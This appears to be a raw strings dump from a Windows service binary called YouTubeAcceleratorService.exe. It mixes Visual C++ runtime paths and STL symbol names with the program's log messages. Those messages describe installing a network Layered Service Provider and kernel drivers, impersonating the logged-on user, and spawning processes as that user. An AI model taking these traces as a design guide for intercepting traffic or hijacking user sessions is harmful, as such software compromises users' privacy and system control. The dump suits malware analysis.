Xf:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

Yf:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

gf:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

Kstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1508

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

YouTubeAcceleratorService.exe_1816:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

